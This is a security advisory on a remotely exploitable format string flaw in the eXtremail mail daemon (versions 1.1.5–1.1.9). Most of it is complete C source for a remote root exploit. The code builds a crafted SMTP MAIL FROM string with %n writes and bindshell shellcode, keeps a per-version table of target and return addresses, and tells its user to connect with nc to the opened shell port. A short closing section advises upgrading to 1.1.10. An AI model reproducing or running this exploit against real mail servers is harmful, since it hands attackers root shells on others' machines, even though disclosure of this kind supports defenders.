Vulnerability
eXtremail
Affected
eXtremail 1.1.5, 1.1.6, 1.1.7, 1.1.8, 1.1.9
Description
mu-b found following. eXtremail is a free integrated pop3/smtpd
mail daemon for Linux (x86), although it is free it is closed
sourced software. It has been found that the majority of the
newer versions are vulnerable to a remotely exploitable format
string condition. The following versions are confirmed to be
vulnerable to this condition:
- eXtremail v1.1.5
- eXtremail v1.1.6
- eXtremail v1.1.7
- eXtremail v1.1.8
- eXtremail v1.1.9
Version 1.1.3 is also presumed to be vulnerable but that version
was not available for testing, although there are strong reason to
assume that it is.
The format string problem is located in the flog() function, and
is caused by the use of user defined data as the format string
for an fprintf() statement. This problem can be exploited
remotely to yield remote root privileges, through sending
appropriately constructed strings as the arguments to the
following commands:
Smtpd - HELO / EHLO / MAIL FROM:<....@....> / RCPT TO:<....@....>
Pop3 - USER (+ others requiring a suitable login).
Exploit code:
/* eXtremail-exp.c
*
* - eXtremail v1.1.5-9 Remote Root Exploit (x86) -
*
* - Tested on: RedHat 7.0 eXtremail v1.1.5
* RedHat 7.0 eXtremail v1.1.6
* RedHat 7.0 eXtremail v1.1.7
* RedHat 7.0 eXtremail v1.1.8
* RedHat 7.0 eXtremail v1.1.9
* NOT VULNERABLE eXtremail v1.1.10
*
* Copyright (c) 2001 by <mu-b@digit-labs.org>
*
* eXtremail v1.1.5+ has a format string problem
* in flog(). This problem affects all user commands
* (helo/ehlo/mail from:/rcpt to:), and is caused
* by an improper fprintf() to the servers logfile.
*
* Buffers for helo/ehlo are too small (except v1.1.5),
* therefore we use mail from: instead :).
*
* Note: Return Address's are quite tight due to the small
* buffers. Returning to the Heap is possible but
* is VERY unstable.
*
* Greets: mjm, all@alldas.de, teleh0r, grazer, cmds, gollum, #!digit-labs
*
* http://www.digit-labs.org/ -- Digit-Labs 2001!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <resolv.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/stat.h>
#define NOP 0x41
#define NUMVULN 4
#define OFFSET 0
#define PORT 25
void banner();
void mkfmt();
int opensocket(char *);
void usage();
char buf[520];
int buflength, type = 0, sock;
unsigned long target, retaddr;
unsigned char shellcode[]= /* lamagra bindshell code */
"\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
"\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
"\x80\x43\xc6\x46\x10\x10\x88\x46"
"\x08\x31\xc0\x31\xd2\x89\x46\x18"
"\xb0\x90\x66\x89\x46\x16\x8d\x4e"
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43"
"\xb0\x66\xcd\x80\x89\x56\x0c\x89"
"\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
"\x80\x88\x56\x07\x89\x76\x0c\x87"
"\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
"\xe8\x8d\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";
/* target address's -> objdump -R smtpd | grep "fflush" */
struct {
char *name;
unsigned long target;
unsigned long retaddr;
int padding;
int buflength;
} targets[] = {
{ "RedHat 7.0 eXtremail v1.1R5", 0x080864e0, 0xbf1ff64a, 1, 500},
{ "RedHat 7.0 eXtremail v1.1R6", 0x08089d5c, 0xbf1ff5d6, 1, 266},
{ "RedHat 7.0 eXtremail v1.1R7", 0x0808b3fc, 0xbf1ff5d6, 1, 266},
{ "RedHat 7.0 eXtremail v1.1R8", 0x0808b6fc, 0xbf1ff5d6, 1, 266},
{ "RedHat 7.0 eXtremail v1.1R9", 0x08088890, 0xbf1ff5d6, 1, 266},
{ 0 } };
void banner()
{
fprintf(stderr, "\neXtremail V1.1R5-9 remote root exploit\n");
fprintf(stderr, "by: <mu-b@digit-labs.org>\n");
fprintf(stderr, "Copyright (c) 2001 Digit-Labs!@#$!\n");
fprintf(stderr, "http://www.digit-labs.org\n\n");
}
void mkfmt()
{
int i, j = 0, num;
int bytesofar;
int fmtints[4];
char *bufptr;
unsigned char temp[4];
bytesofar = 35 + targets[type].padding;
bufptr = &buf[strlen(buf)];
temp[0] = (unsigned char) (target & 0x000000ff);
temp[1] = (unsigned char)((target & 0x0000ff00) >> 8);
temp[2] = (unsigned char)((target & 0x00ff0000) >> 16);
temp[3] = (unsigned char)((target & 0xff000000) >> 24);
for(i = 0; i < 4; i++)
{
sprintf(bufptr, "%c%c%c%c", temp[0], temp[1], temp[2], temp[3]);
bufptr += 4;
temp[0]++;
}
fmtints[0] = (int) (retaddr & 0x000000ff);
fmtints[1] = (int)((retaddr & 0x0000ff00) >> 8);
fmtints[2] = (int)((retaddr & 0x00ff0000) >> 16);
fmtints[3] = (int)((retaddr & 0xff000000) >> 24);
for(i = 0; i < 4; i++)
{
num = 0;
if(fmtints[i] - bytesofar < 10)
{
while(num != 1)
{
fmtints[i] = (fmtints[i] + 0x100);
if(fmtints[i] - bytesofar > 9)
{
fmtints[i] -= bytesofar;
bytesofar += fmtints[i];
num = 1;
}
}
}
else
{
fmtints[i] -= bytesofar;
bytesofar += fmtints[i];
}
}
sprintf(bufptr, "%%.%du%%38$n%%.%du%%39$n%%.%du%%40$n%%.%du%%41$n", fmtints[0], fmtints[1], fmtints[2], fmtints[3]);
for(i = strlen(buf); i < buflength - strlen(shellcode) - 1; i++)
buf[i] = NOP;
for(i = i; i < buflength - 1; i++)
{
buf[i] = shellcode[j];
j++;
}
buf[buflength - 1] = '\n';
buf[buflength] = '\0';
write(sock, buf, strlen(buf));
}
int opensocket(char *host)
{
int s;
struct sockaddr_in remote_sin;
struct hostent *he;
if((s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
return -1;
}
memset((char *)&remote_sin, 0, sizeof(remote_sin));
if((he = gethostbyname(host)) != NULL)
memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
perror("gethostbyname()/inet_addr()");
return -1;
}
remote_sin.sin_family = PF_INET;
remote_sin.sin_port = htons(PORT);
if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
perror("connect()");
close(s);
return -1;
}
return s;
}
void usage()
{
int i;
fprintf(stderr, "Usage: ./extremail <host> [type]\n");
fprintf(stderr, "\nTargets:\n");
for (i = 0; targets[i].name; i++)
fprintf(stderr, "\t%d.\t%s\n", i, targets[i].name);
fprintf(stderr, "\n");=09
exit(0);
}
int main (int argc, char *argv[])
{
char *host;
int i;
banner();
if(argc < 2)
usage();
if(argc >= 3)
type = atoi(argv[2]);
if(type > NUMVULN)
type = 0;
host = argv[1];
buflength = targets[type].buflength;
target = targets[type].target;
retaddr = targets[type].retaddr + OFFSET;
fprintf(stderr, "Target:\t\t%s\nType:\t\t%s\n", host, targets[type].name);
fprintf(stderr, "Target Address:\t%p\nReturn Address:\t%p\nOffset:\t\t%d\n", target, retaddr, OFFSET);
fprintf(stderr, "Buflength:\t%d\n", buflength);
if ((sock = opensocket(host)) <= 0)
return -1;
fprintf(stderr, "\nConnected....\n");
memcpy(buf, "MAIL FROM:<", 11);
for(i = 0; i < targets[type].padding; i++)
buf[strlen(buf)] = 0x61;
sleep(1);
write(sock, "HELO digit-labs.org!@#$!\n", 26);
sleep(1);
mkfmt();
sleep(1);
close(sock);
fprintf(stderr, "\n[1] sent payload....\n");
fprintf(stderr, "[2] waiting....\n");
sleep(2);
fprintf(stderr, "[3] nc %s 36864 for shell....\n\n", host);
return;
}
Solution
This issue has been patched as of version 1.1.10, it is advisable
that current or prospective users download this version as soon
as possible.
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